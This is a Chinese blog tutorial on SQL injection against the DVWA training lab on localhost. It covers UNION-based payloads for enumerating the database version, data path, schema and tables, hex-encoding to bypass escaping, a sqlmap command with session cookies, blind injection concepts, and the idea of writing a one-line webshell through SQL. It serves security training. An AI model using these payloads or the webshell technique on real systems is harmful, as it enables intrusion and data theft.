【渗透测试-web安全】DVWA-SQL注入

本文深入探讨了在DVWA平台上进行SQL注入攻击的步骤与技巧,包括登录系统、内容分析、实操演示及内容进阶。通过构造SQL语句,实现了数据查询、插入恶意代码,并介绍了SQLmap工具的使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

【渗透测试-web安全】DVWA-SQL注入

一、登录系统

登录到系统设置好对应的安全级别,我们点击SQL打开,任意输入一个ID序号反馈一下内容:

在这里插入图片描述

二、内容分析

我们对内容进行分析可以知道我们输入userID之后系统会自动入库查找对应的用户并反馈用户的数据到前端
我们可以猜测系统可能使用的SQL语句:
	SSELECT * FROM user WHERE user_id='$id'
因此我们构建注入的POC方法:
		可能的SQL语句	注入实例
		SELECT username FROM user WHERE user_id = $id	SELECT username FROM user WHERE user_id = 1 or 1=1 
		SELECT username FROM user WHERE user_id = '$id'	SELECT username FROM user WHERE user_id = 1 'or' 1 '=' 1 
		SELECT username FROM user WHERE user_id = "$id"	SELECT username FROM user WHERE user_id = 1 "or" 1 "=" 1

三、实操

我们分别使用构造的SQL语句进行测试 当使用1 ‘or’ 1 ‘=’ 1时出现注入:
在这里插入图片描述
从而我们确定了系统的SQL可能形式:SELECT username FROM user WHERE user_id = ‘$id’
MYsql常见的注释语句:
#:单行注释
–空格:后面的内容直接忽略
/**/:注释中间的内容
我们有时候能够利用Mysql的注释语句将系统原始的SQL语句进行重构或者意义切换,从而构建出符合我们需求的SQL语句
结合上面的内容我们构造一个查询数据库名称的SQL注入语句:
1’ union select @@version ,@@datadir–:显示数据库的数据路径
在这里插入图片描述
1’ union SELECT user(), database()-- :查询数据库名称
在这里插入图片描述
1’ union SELECT 1, table_name from information_schema.tables where table_schema=‘dvwa’-- :查询表名
在这里插入图片描述
我们通过构建SQL语句查询任何我们想要查询的数据内容,或者插入数据库我们任何想插入的数据。
我们可以通过对数据库插入一句话木马等信息能够执行对应的脚本
构建的基本思路是首先利用各种报错,获取系统的绝对路径
然后利用SQL语句写入一句话木马到对应的文件中,通过访问对应的文件就能够执行一句话木马
注意当某些字符串被转义的时候我们是可以使用HAX编码进行绕过 如dvwa用0x64767761代替
SQLmap扫描使用:
原始网址为:http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#
SQLmap使用语句:python2 sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/” --data “id=1&Submit=Submit” -p “id” --cookie “security=medium; Pycharm-e029d31e=f06790ed-69d6-4ec0-a540-cc9a5281ce7f; PHPSESSID=aafsqsrvc2639i7b1tu2h622vd”
其中 -u指网址 --data 指传入的参数 -p 指检测SQL注入点 --cookie 指登录的cookie
在这里插入图片描述

四、内容进阶

当注入的点和返回的点不在同一个页面时我们可以使用–second-order参数指定对应的返回url

-D 指定数据库 -T指定表名 -C指定列表 --dump参数指将数据导出

–current-db 显示当前数据库 -v 输出详细信息有少到多1-6 --level 表示等级

SQL盲注:
	基本概念:数据库中的执行结果不会反馈回显到页面上,页面上之后显示真和假两种状态。
	基本实现:通过布尔型数据使用SQL语句拆解返回真假类型,然后使用二分法判断正确内容。通过延时型,执行某些延时的函数进行前台判断是否已经被执行,从而能够判断某些函数是否已经成功执行,同时也能通过if语句确定某些内容的真假。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值